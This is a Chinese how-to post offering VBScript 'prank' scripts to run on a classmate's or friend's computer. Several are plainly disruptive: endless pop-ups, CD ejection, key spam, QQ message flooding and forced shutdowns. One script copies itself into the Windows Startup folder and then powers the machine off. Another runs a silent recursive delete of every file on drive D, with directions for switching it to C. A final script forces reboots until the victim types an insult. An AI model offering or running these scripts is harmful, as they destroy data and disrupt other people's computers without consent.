vbs整人小内容

1. 新手教学（大神请跳到第五步）：

编写vbs有多简单？新建“文本文档”，输入msgbox "一大波病毒正在靠近..." ，点击文件->另存为->重命名为“代码.vbs”。文件名不重要，重要的是后缀要是“.vbs”。

1. 2

双击保存的文件：代码.vbs，即弹出一个对话框。记下这段小小的代码，去同学家里恶搞吧。当然你还可以输入其他有趣的文字。

1. 当然，如此恶搞还是不够的。那就来一个无限循环吧，输入图中代码另存为vbs格式。双击打开。此时，会弹出提示对话框，点击确定和关闭按钮之后，再一次弹出窗口，如此循环，无法正常关闭。

1. 那么到底要如何才能关闭呢？打开任务管理器结束进程“wscript.exe”即可

1. 到此新手教学完毕，下面进入大神课堂教学。

无限弹出光驱：

------------------------------------------------

set wmp=createobject("wmplayer.ocx") 

set cd=wmp.cdromcollection.item(0) 

do 

cd.eject 

loop 

------------------------------------------------

1. 无尽语音报数：

无限语音从1数到无限大。

------------------------------------------------

Set s = CreateObject("sapi.spvoice") 

i=0 

do 

s.speak i 

i=i+1 

loop 

------------------------------------------------

1. 无尽刷新：

慎用，如此刷新打开任务管理器都难，只能拔掉电源。

------------------------------------------------

set ws=createobject("wscript.shell") 

do 

ws.sendkeys "{f5}" 

loop 

------------------------------------------------

1. 修改注册表：

------------------------------------------------

on error resume next 

set wr=createobject("scripting.filesystemobject") 

set ws=createobject("wscript.shell") 

set f = wr.getfile(wscript.scriptfullname) 

q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup") 

if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true 

ws.run"shutdown -p",vbhide

------------------------------------------------

1. QQ信息骚扰恶搞：

打开好友的聊天对话框，然后记下聊天对话框的名称（如图：小敏），把下面代码里的小敏替换一下。代码中的“10”代表发送次数，把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可，当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。

------------------------------------------------

On Error Resume Next 

Dim wsh,ye 

set wsh=createobject("wscript.shell") 

for i=1 to 10 

wscript.sleep 700 

wsh.AppActivate("小敏") 

wsh.sendKeys "^v" 

wsh.sendKeys i 

wsh.sendKeys "%s" 

next 

wscript.quit

------------------------------------------------

1. 直接关机：

------------------------------------------------

dim WSHshell 

set WSHshell = wscript.createobject("wscript.shell") 

WSHshell.run "shutdown -f -s -t 00",0 ,true

------------------------------------------------

1. 不断按下alt+f4 ：

打开任何程序都关掉

------------------------------------------------

dim WSHshell 

set WSHshell = wscript.createobject("wscript.shell") 

do

wscript.sleep 2500 

WSHshell.SendKeys "%{F4}" 

loop 

------------------------------------------------

 

 

 

 

 

 

 

 

 

 

 

1. 首先，第一个代码

————————————————————————————————

do

msgbox "在这里填上你想要显示的语句，运行程序就会出现在这里填的语句“

loop

————————————————————————————————

这个代码非常简单，运行后就会出现一个对话框，上面显示你所填的语句，并会不断弹出此对话框，直到电脑死机。如果想结束它，最快的办法就是...重启电脑。

1. 2

第二个

————————————————————————————————

set wsh=createobject("wscript.shell")

do

wsh.run "cmd"

loop

————————————————————————————————

这个代码写完启动后，就会不断弹出命令提示符，简称cmd，并会不断弹出，直到电脑死机。你也可以把引号里的cmd改成别的，如calc，是windows里的计算器程序的名称。改完后就不断弹出计算器程序。

1. 3

第三个，有点危害，不要尝试。

————————————————————————————————

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell") 

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true 

————————————————————————————————

简单介绍，运行会格式化D盘，把这个地方—>del d:\*.* / <—改一下，也就是del后的d,这是盘符，如改为c盘，就会格式化c盘。

END

最后，是破解前面几个程序的代码/运行方法

1. 1

代码：

————————————————————————————————

dim WSHshell 

set WSHshell = wscript.createobject("wscript.shell") 

while(1) 

WSHshell.SendKeys "%{F4}" 

loop 

————————————————————————————————

它运行后，开什么都关闭，包括前面的几个程序，尽管这样，也尽量不要在自己电脑上运行。

1. 2

要运行这样的vbs程序很简单，复制代码，打开记事本，粘贴代码，保存好，并更改此文件扩展名为.vbs 不会的，可以上网上搜。然后就是一个vbs脚本程序了。

 

 

set ws=createobject("wscript.shell")

call shutdown(1)

do while a<>"我是猪"

a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","")

loop

call shutdown(2)

msgbox "早说就行了嘛",4096+64

msgbox"再输一遍我是猪!",4096+64

msgbox"我是猪!",4096+64

MsgBox"最后一次!",4096+64

MsgBox"如果你很快的点过去,不看的话",4096+64

MsgBox"我就要你踩我空间的!哼!",4096+64

MsgBox"从前有座山!",4096+64

MsgBox"山里有个庙.",4096+64

MsgBox"庙里有个老和尚在讲故事.",4096+64

ws.run"iexplore.exe http://www.baidu.com"

msgbox"哎呀累了！数绵羊哄我睡觉",4096+64

for i=1 to 100

MsgBox i&"只绵羊",4096+64

next

msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64

msgbox"最后问个问题，我是不是大好人！",4096+64

if inputbox("是不是","请选择","是")<>"是" then

call shutdown(1)

end if

sub shutdown(s)

select case s

case 1

ws.run"cmd.exe /c shutdown -r -t 60 -c",0

case 2

ws.run"cmd.exe /c shutdown -a",0

end select

end sub